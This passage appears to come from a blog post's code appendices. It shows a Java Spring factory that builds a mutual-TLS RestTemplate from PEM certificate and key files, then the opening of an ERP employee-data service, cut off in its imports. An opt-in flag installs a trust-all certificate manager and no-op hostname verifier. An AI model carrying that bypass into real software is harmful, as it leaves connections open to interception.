<span class="kn">import</span> <span class="nn">org.apache.hc.client5.http.ssl.SSLConnectionSocketFactoryBuilder</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.hc.core5.util.Timeout</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.http.client.HttpComponentsClientHttpRequestFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.stereotype.Component</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.web.client.RestTemplate</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">javax.net.ssl.KeyManagerFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.net.ssl.SSLContext</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.net.ssl.TrustManager</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.net.ssl.X509TrustManager</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.InputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.nio.file.Files</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.nio.file.Path</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.KeyFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.KeyStore</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.PrivateKey</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.SecureRandom</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.cert.Certificate</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.cert.CertificateFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.cert.X509Certificate</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.spec.PKCS8EncodedKeySpec</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Base64</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Collection</span><span class="o">;</span>

<span class="cm">/**
 * Builds a {@link RestTemplate} that performs mTLS using a PEM certificate + private key
 * loaded from the filesystem. PEM ({@code -----BEGIN CERTIFICATE-----}) and either PKCS#8 or
 * PKCS#1 RSA PEM ({@code -----BEGIN PRIVATE KEY-----} or {@code -----BEGIN RSA PRIVATE KEY-----})
 * private keys are supported. No BouncyCastle.
 */</span>
<span class="nd">@Component</span>
<span class="nd">@Slf4j</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">MtlsRestTemplateFactory</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">DEFAULT_CONNECT_TIMEOUT_MS</span> <span class="o">=</span> <span class="mi">15_000</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">DEFAULT_READ_TIMEOUT_MS</span> <span class="o">=</span> <span class="mi">60_000</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nc">RestTemplate</span> <span class="nf">build</span><span class="o">(</span><span class="nc">String</span> <span class="n">certPath</span><span class="o">,</span> <span class="nc">String</span> <span class="n">keyPath</span><span class="o">,</span> <span class="kt">boolean</span> <span class="n">insecureSkipTlsVerify</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="nf">build</span><span class="o">(</span><span class="n">certPath</span><span class="o">,</span> <span class="n">keyPath</span><span class="o">,</span> <span class="n">insecureSkipTlsVerify</span><span class="o">,</span> <span class="no">DEFAULT_CONNECT_TIMEOUT_MS</span><span class="o">,</span> <span class="no">DEFAULT_READ_TIMEOUT_MS</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="nc">RestTemplate</span> <span class="nf">build</span><span class="o">(</span><span class="nc">String</span> <span class="n">certPath</span><span class="o">,</span> <span class="nc">String</span> <span class="n">keyPath</span><span class="o">,</span> <span class="kt">boolean</span> <span class="n">insecureSkipTlsVerify</span><span class="o">,</span>
                              <span class="kt">int</span> <span class="n">connectTimeoutMs</span><span class="o">,</span> <span class="kt">int</span> <span class="n">readTimeoutMs</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">isBlank</span><span class="o">(</span><span class="n">certPath</span><span class="o">)</span> <span class="o">||</span> <span class="n">isBlank</span><span class="o">(</span><span class="n">keyPath</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"mTLS not configured: cert and key paths are required"</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="nc">SSLContext</span> <span class="n">sslContext</span> <span class="o">=</span> <span class="n">buildSslContext</span><span class="o">(</span><span class="nc">Path</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="n">certPath</span><span class="o">),</span> <span class="nc">Path</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="n">keyPath</span><span class="o">),</span> <span class="n">insecureSkipTlsVerify</span><span class="o">);</span>

            <span class="nc">SSLConnectionSocketFactoryBuilder</span> <span class="n">builder</span> <span class="o">=</span>
                    <span class="nc">SSLConnectionSocketFactoryBuilder</span><span class="o">.</span><span class="na">create</span><span class="o">().</span><span class="na">setSslContext</span><span class="o">(</span><span class="n">sslContext</span><span class="o">);</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">insecureSkipTlsVerify</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">builder</span><span class="o">.</span><span class="na">setHostnameVerifier</span><span class="o">(</span><span class="nc">NoopHostnameVerifier</span><span class="o">.</span><span class="na">INSTANCE</span><span class="o">);</span>
            <span class="o">}</span>
            <span class="nc">SSLConnectionSocketFactory</span> <span class="n">sslSocketFactory</span> <span class="o">=</span> <span class="n">builder</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>

            <span class="nc">ConnectionConfig</span> <span class="n">connectionConfig</span> <span class="o">=</span> <span class="nc">ConnectionConfig</span><span class="o">.</span><span class="na">custom</span><span class="o">()</span>
                    <span class="o">.</span><span class="na">setConnectTimeout</span><span class="o">(</span><span class="nc">Timeout</span><span class="o">.</span><span class="na">ofMilliseconds</span><span class="o">(</span><span class="n">connectTimeoutMs</span><span class="o">))</span>
                    <span class="o">.</span><span class="na">build</span><span class="o">();</span>

            <span class="nc">PoolingHttpClientConnectionManager</span> <span class="n">cm</span> <span class="o">=</span> <span class="nc">PoolingHttpClientConnectionManagerBuilder</span><span class="o">.</span><span class="na">create</span><span class="o">()</span>
                    <span class="o">.</span><span class="na">setSSLSocketFactory</span><span class="o">(</span><span class="n">sslSocketFactory</span><span class="o">)</span>
                    <span class="o">.</span><span class="na">setDefaultConnectionConfig</span><span class="o">(</span><span class="n">connectionConfig</span><span class="o">)</span>
                    <span class="o">.</span><span class="na">build</span><span class="o">();</span>

            <span class="nc">RequestConfig</span> <span class="n">requestConfig</span> <span class="o">=</span> <span class="nc">RequestConfig</span><span class="o">.</span><span class="na">custom</span><span class="o">()</span>
                    <span class="o">.</span><span class="na">setResponseTimeout</span><span class="o">(</span><span class="nc">Timeout</span><span class="o">.</span><span class="na">ofMilliseconds</span><span class="o">(</span><span class="n">readTimeoutMs</span><span class="o">))</span>
                    <span class="o">.</span><span class="na">build</span><span class="o">();</span>

            <span class="nc">CloseableHttpClient</span> <span class="n">httpClient</span> <span class="o">=</span> <span class="nc">HttpClients</span><span class="o">.</span><span class="na">custom</span><span class="o">()</span>
                    <span class="o">.</span><span class="na">setConnectionManager</span><span class="o">(</span><span class="n">cm</span><span class="o">)</span>
                    <span class="o">.</span><span class="na">setDefaultRequestConfig</span><span class="o">(</span><span class="n">requestConfig</span><span class="o">)</span>
                    <span class="o">.</span><span class="na">build</span><span class="o">();</span>

            <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"mTLS RestTemplate built (cert={}, insecureSkipTlsVerify={})"</span><span class="o">,</span> <span class="n">certPath</span><span class="o">,</span> <span class="n">insecureSkipTlsVerify</span><span class="o">);</span>
            <span class="k">return</span> <span class="k">new</span> <span class="nf">RestTemplate</span><span class="o">(</span><span class="k">new</span> <span class="nc">HttpComponentsClientHttpRequestFactory</span><span class="o">(</span><span class="n">httpClient</span><span class="o">));</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">RuntimeException</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="n">ex</span><span class="o">;</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Failed to build mTLS RestTemplate: "</span> <span class="o">+</span> <span class="n">ex</span><span class="o">.</span><span class="na">getMessage</span><span class="o">(),</span> <span class="n">ex</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">SSLContext</span> <span class="nf">buildSslContext</span><span class="o">(</span><span class="nc">Path</span> <span class="n">certFile</span><span class="o">,</span> <span class="nc">Path</span> <span class="n">keyFile</span><span class="o">,</span> <span class="kt">boolean</span> <span class="n">insecureSkipTlsVerify</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(!</span><span class="nc">Files</span><span class="o">.</span><span class="na">exists</span><span class="o">(</span><span class="n">certFile</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Certificate file not found: "</span> <span class="o">+</span> <span class="n">certFile</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">if</span> <span class="o">(!</span><span class="nc">Files</span><span class="o">.</span><span class="na">exists</span><span class="o">(</span><span class="n">keyFile</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Private key file not found: "</span> <span class="o">+</span> <span class="n">keyFile</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="nc">CertificateFactory</span> <span class="n">cf</span> <span class="o">=</span> <span class="nc">CertificateFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"X.509"</span><span class="o">);</span>
        <span class="nc">Collection</span><span class="o">&lt;?</span> <span class="kd">extends</span> <span class="nc">Certificate</span><span class="o">&gt;</span> <span class="n">certs</span><span class="o">;</span>
        <span class="k">try</span> <span class="o">(</span><span class="nc">InputStream</span> <span class="n">in</span> <span class="o">=</span> <span class="nc">Files</span><span class="o">.</span><span class="na">newInputStream</span><span class="o">(</span><span class="n">certFile</span><span class="o">))</span> <span class="o">{</span>
            <span class="n">certs</span> <span class="o">=</span> <span class="n">cf</span><span class="o">.</span><span class="na">generateCertificates</span><span class="o">(</span><span class="n">in</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">certs</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"No certificates found in: "</span> <span class="o">+</span> <span class="n">certFile</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="nc">PrivateKey</span> <span class="n">privateKey</span> <span class="o">=</span> <span class="n">parsePrivateKey</span><span class="o">(</span><span class="nc">Files</span><span class="o">.</span><span class="na">readString</span><span class="o">(</span><span class="n">keyFile</span><span class="o">));</span>

        <span class="kt">char</span><span class="o">[]</span> <span class="n">dummyPassword</span> <span class="o">=</span> <span class="s">"changeit"</span><span class="o">.</span><span class="na">toCharArray</span><span class="o">();</span>
        <span class="nc">KeyStore</span> <span class="n">keyStore</span> <span class="o">=</span> <span class="nc">KeyStore</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"PKCS12"</span><span class="o">);</span>
        <span class="n">keyStore</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span>
        <span class="n">keyStore</span><span class="o">.</span><span class="na">setKeyEntry</span><span class="o">(</span><span class="s">"client"</span><span class="o">,</span> <span class="n">privateKey</span><span class="o">,</span> <span class="n">dummyPassword</span><span class="o">,</span> <span class="n">certs</span><span class="o">.</span><span class="na">toArray</span><span class="o">(</span><span class="k">new</span> <span class="nc">Certificate</span><span class="o">[</span><span class="mi">0</span><span class="o">]));</span>

        <span class="nc">KeyManagerFactory</span> <span class="n">kmf</span> <span class="o">=</span> <span class="nc">KeyManagerFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="nc">KeyManagerFactory</span><span class="o">.</span><span class="na">getDefaultAlgorithm</span><span class="o">());</span>
        <span class="n">kmf</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="n">keyStore</span><span class="o">,</span> <span class="n">dummyPassword</span><span class="o">);</span>

        <span class="nc">TrustManager</span><span class="o">[]</span> <span class="n">trustManagers</span> <span class="o">=</span> <span class="n">insecureSkipTlsVerify</span> <span class="o">?</span> <span class="k">new</span> <span class="nc">TrustManager</span><span class="o">[]{</span> <span class="k">new</span> <span class="nc">TrustAllManager</span><span class="o">()</span> <span class="o">}</span> <span class="o">:</span> <span class="kc">null</span><span class="o">;</span>

        <span class="nc">SSLContext</span> <span class="n">ssl</span> <span class="o">=</span> <span class="nc">SSLContext</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"TLS"</span><span class="o">);</span>
        <span class="n">ssl</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="n">kmf</span><span class="o">.</span><span class="na">getKeyManagers</span><span class="o">(),</span> <span class="n">trustManagers</span><span class="o">,</span> <span class="k">new</span> <span class="nc">SecureRandom</span><span class="o">());</span>
        <span class="k">return</span> <span class="n">ssl</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">PrivateKey</span> <span class="nf">parsePrivateKey</span><span class="o">(</span><span class="nc">String</span> <span class="n">pem</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">normalized</span> <span class="o">=</span> <span class="n">pem</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"\r"</span><span class="o">,</span> <span class="s">""</span><span class="o">).</span><span class="na">trim</span><span class="o">();</span>

        <span class="k">if</span> <span class="o">(</span><span class="n">normalized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"-----BEGIN RSA PRIVATE KEY-----"</span><span class="o">))</span> <span class="o">{</span>
            <span class="kt">byte</span><span class="o">[]</span> <span class="n">pkcs1Der</span> <span class="o">=</span> <span class="n">decodePem</span><span class="o">(</span><span class="n">normalized</span><span class="o">,</span>
                    <span class="s">"-----BEGIN RSA PRIVATE KEY-----"</span><span class="o">,</span>
                    <span class="s">"-----END RSA PRIVATE KEY-----"</span><span class="o">);</span>
            <span class="kt">byte</span><span class="o">[]</span> <span class="n">pkcs8Der</span> <span class="o">=</span> <span class="n">wrapPkcs1RsaAsPkcs8</span><span class="o">(</span><span class="n">pkcs1Der</span><span class="o">);</span>
            <span class="k">return</span> <span class="nc">KeyFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"RSA"</span><span class="o">).</span><span class="na">generatePrivate</span><span class="o">(</span><span class="k">new</span> <span class="nc">PKCS8EncodedKeySpec</span><span class="o">(</span><span class="n">pkcs8Der</span><span class="o">));</span>
        <span class="o">}</span>

        <span class="k">if</span> <span class="o">(</span><span class="n">normalized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"-----BEGIN EC PRIVATE KEY-----"</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span>
                    <span class="s">"EC private key is in SEC1 format; conversion to PKCS#8 is not supported in code yet."</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="kt">byte</span><span class="o">[]</span> <span class="n">keyBytes</span> <span class="o">=</span> <span class="n">decodePem</span><span class="o">(</span><span class="n">normalized</span><span class="o">,</span>
                <span class="s">"-----BEGIN PRIVATE KEY-----"</span><span class="o">,</span>
                <span class="s">"-----END PRIVATE KEY-----"</span><span class="o">);</span>
        <span class="nc">PKCS8EncodedKeySpec</span> <span class="n">spec</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PKCS8EncodedKeySpec</span><span class="o">(</span><span class="n">keyBytes</span><span class="o">);</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">return</span> <span class="nc">KeyFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"RSA"</span><span class="o">).</span><span class="na">generatePrivate</span><span class="o">(</span><span class="n">spec</span><span class="o">);</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">rsaEx</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">return</span> <span class="nc">KeyFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"EC"</span><span class="o">).</span><span class="na">generatePrivate</span><span class="o">(</span><span class="n">spec</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">decodePem</span><span class="o">(</span><span class="nc">String</span> <span class="n">pem</span><span class="o">,</span> <span class="nc">String</span> <span class="n">beginMarker</span><span class="o">,</span> <span class="nc">String</span> <span class="n">endMarker</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">base64</span> <span class="o">=</span> <span class="n">pem</span>
                <span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="n">beginMarker</span><span class="o">,</span> <span class="s">""</span><span class="o">)</span>
                <span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="n">endMarker</span><span class="o">,</span> <span class="s">""</span><span class="o">)</span>
                <span class="o">.</span><span class="na">replaceAll</span><span class="o">(</span><span class="s">"\\s+"</span><span class="o">,</span> <span class="s">""</span><span class="o">);</span>
        <span class="k">return</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">getDecoder</span><span class="o">().</span><span class="na">decode</span><span class="o">(</span><span class="n">base64</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">wrapPkcs1RsaAsPkcs8</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">pkcs1</span><span class="o">)</span> <span class="o">{</span>
        <span class="c1">// PKCS#8 PrivateKeyInfo envelope around a PKCS#1 RSAPrivateKey:</span>
        <span class="c1">//   SEQUENCE { INTEGER 0, SEQUENCE { OID rsaEncryption, NULL }, OCTET STRING &lt;pkcs1&gt; }</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">prefix</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[]</span> <span class="o">{</span>
                <span class="mh">0x30</span><span class="o">,</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="mh">0x82</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span>
                <span class="mh">0x02</span><span class="o">,</span> <span class="mh">0x01</span><span class="o">,</span> <span class="mh">0x00</span><span class="o">,</span>
                <span class="mh">0x30</span><span class="o">,</span> <span class="mh">0x0d</span><span class="o">,</span>
                <span class="mh">0x06</span><span class="o">,</span> <span class="mh">0x09</span><span class="o">,</span> <span class="mh">0x2a</span><span class="o">,</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="mh">0x86</span><span class="o">,</span> <span class="mh">0x48</span><span class="o">,</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="mh">0x86</span><span class="o">,</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="mh">0xf7</span><span class="o">,</span> <span class="mh">0x0d</span><span class="o">,</span> <span class="mh">0x01</span><span class="o">,</span> <span class="mh">0x01</span><span class="o">,</span> <span class="mh">0x01</span><span class="o">,</span>
                <span class="mh">0x05</span><span class="o">,</span> <span class="mh">0x00</span><span class="o">,</span>
                <span class="mh">0x04</span><span class="o">,</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="mh">0x82</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">0</span>
        <span class="o">};</span>
        <span class="kt">int</span> <span class="n">outerContentLen</span> <span class="o">=</span> <span class="o">(</span><span class="n">prefix</span><span class="o">.</span><span class="na">length</span> <span class="o">-</span> <span class="mi">4</span><span class="o">)</span> <span class="o">+</span> <span class="n">pkcs1</span><span class="o">.</span><span class="na">length</span><span class="o">;</span>
        <span class="n">prefix</span><span class="o">[</span><span class="mi">2</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="o">((</span><span class="n">outerContentLen</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="o">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="o">);</span>
        <span class="n">prefix</span><span class="o">[</span><span class="mi">3</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="o">(</span><span class="n">outerContentLen</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="o">);</span>
        <span class="n">prefix</span><span class="o">[</span><span class="n">prefix</span><span class="o">.</span><span class="na">length</span> <span class="o">-</span> <span class="mi">2</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="o">((</span><span class="n">pkcs1</span><span class="o">.</span><span class="na">length</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="o">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="o">);</span>
        <span class="n">prefix</span><span class="o">[</span><span class="n">prefix</span><span class="o">.</span><span class="na">length</span> <span class="o">-</span> <span class="mi">1</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="o">(</span><span class="n">pkcs1</span><span class="o">.</span><span class="na">length</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="o">);</span>

        <span class="kt">byte</span><span class="o">[]</span> <span class="n">out</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="n">prefix</span><span class="o">.</span><span class="na">length</span> <span class="o">+</span> <span class="n">pkcs1</span><span class="o">.</span><span class="na">length</span><span class="o">];</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">arraycopy</span><span class="o">(</span><span class="n">prefix</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">out</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">prefix</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">arraycopy</span><span class="o">(</span><span class="n">pkcs1</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">out</span><span class="o">,</span> <span class="n">prefix</span><span class="o">.</span><span class="na">length</span><span class="o">,</span> <span class="n">pkcs1</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">out</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">boolean</span> <span class="nf">isBlank</span><span class="o">(</span><span class="nc">String</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="n">value</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="n">value</span><span class="o">.</span><span class="na">isBlank</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kd">class</span> <span class="nc">TrustAllManager</span> <span class="kd">implements</span> <span class="nc">X509TrustManager</span> <span class="o">{</span>
        <span class="nd">@Override</span> <span class="kd">public</span> <span class="kt">void</span> <span class="nf">checkClientTrusted</span><span class="o">(</span><span class="nc">X509Certificate</span><span class="o">[]</span> <span class="n">chain</span><span class="o">,</span> <span class="nc">String</span> <span class="n">authType</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span>
        <span class="nd">@Override</span> <span class="kd">public</span> <span class="kt">void</span> <span class="nf">checkServerTrusted</span><span class="o">(</span><span class="nc">X509Certificate</span><span class="o">[]</span> <span class="n">chain</span><span class="o">,</span> <span class="nc">String</span> <span class="n">authType</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span>
        <span class="nd">@Override</span> <span class="kd">public</span> <span class="nc">X509Certificate</span><span class="o">[]</span> <span class="nf">getAcceptedIssuers</span><span class="o">()</span> <span class="o">{</span> <span class="k">return</span> <span class="k">new</span> <span class="nc">X509Certificate</span><span class="o">[</span><span class="mi">0</span><span class="o">];</span> <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span></code></pre></figure>


</details>

<hr />

<h2 id="appendix-b--erpemployeereaderservicev2impl-in-full">Appendix B — <code class="language-plaintext highlighter-rouge">ERPEmployeeReaderServiceV2Impl</code> in full</h2>

<details>
<summary>Click to view the complete service (controller + interface + impl)</summary>


<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="c1">// ----- Controller -----</span>
<span class="nd">@PostMapping</span><span class="o">(</span><span class="s">"/fetch-employee-data"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o">&lt;</span><span class="nc">Object</span><span class="o">&gt;</span> <span class="nf">fetchEmployeeData</span><span class="o">(</span><span class="nd">@RequestBody</span> <span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
    <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"FETCHING ERP EMPLOYEE DATA -- orgId={}, authType={}, useMtls={}"</span><span class="o">,</span>
            <span class="n">request</span><span class="o">.</span><span class="na">getOrgId</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">getAuthType</span><span class="o">(),</span> <span class="n">request</span><span class="o">.</span><span class="na">isUseMtls</span><span class="o">());</span>
    <span class="nc">Object</span> <span class="n">data</span> <span class="o">=</span> <span class="n">erpEmployeeReaderServiceV2</span><span class="o">.</span><span class="na">fetchEmployeeData</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
    <span class="k">return</span> <span class="nc">AppResponse</span><span class="o">.</span><span class="na">success</span><span class="o">(</span><span class="s">"Employee data fetched successfully"</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">OK</span><span class="o">,</span> <span class="n">data</span><span class="o">);</span>
<span class="o">}</span>

<span class="c1">// ----- Interface -----</span>
<span class="kn">package</span> <span class="nn">com.spring.project.ERPIntegrationV2.service</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">com.spring.project.ERPIntegrationV2.dto.ERPEmployeeFetchRequestV2</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">interface</span> <span class="nc">ERPEmployeeReaderServiceV2</span> <span class="o">{</span>
    <span class="nc">Object</span> <span class="nf">fetchEmployeeData</span><span class="o">(</span><span class="nc">ERPEmployeeFetchRequestV2</span> <span class="n">request</span><span class="o">);</span>
<span class="o">}</span>

<span class="c1">// ----- Impl -----</span>
<span class="kn">package</span> <span class="nn">com.spring.project.ERPIntegrationV2.service.impl</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">com.fasterxml.jackson.databind.JsonNode</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.fasterxml.jackson.databind.node.ArrayNode</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.fasterxml.jackson.databind.node.JsonNodeFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.fasterxml.jackson.databind.node.ObjectNode</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.spring.project.ERP.payload.response.ERPOAuthTokenResponse</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.spring.project.ERPIntegrationV2.dto.ERPEmployeeFetchRequestV2</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.spring.project.ERPIntegrationV2.enums.AuthType</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.spring.project.ERPIntegrationV2.service.ERPEmployeeReaderServiceV2</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.spring.project.UTILS.MtlsRestTemplateFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">lombok.RequiredArgsConstructor</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">lombok.extern.slf4j.Slf4j</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.http.HttpEntity</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.http.HttpHeaders</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.http.HttpMethod</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.http.MediaType</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.http.ResponseEntity</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.http.client.SimpleClientHttpRequestFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.stereotype.Service</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.util.LinkedMultiValueMap</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.util.MultiValueMap</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.web.client.RestTemplate</span><span class="o">;</span>

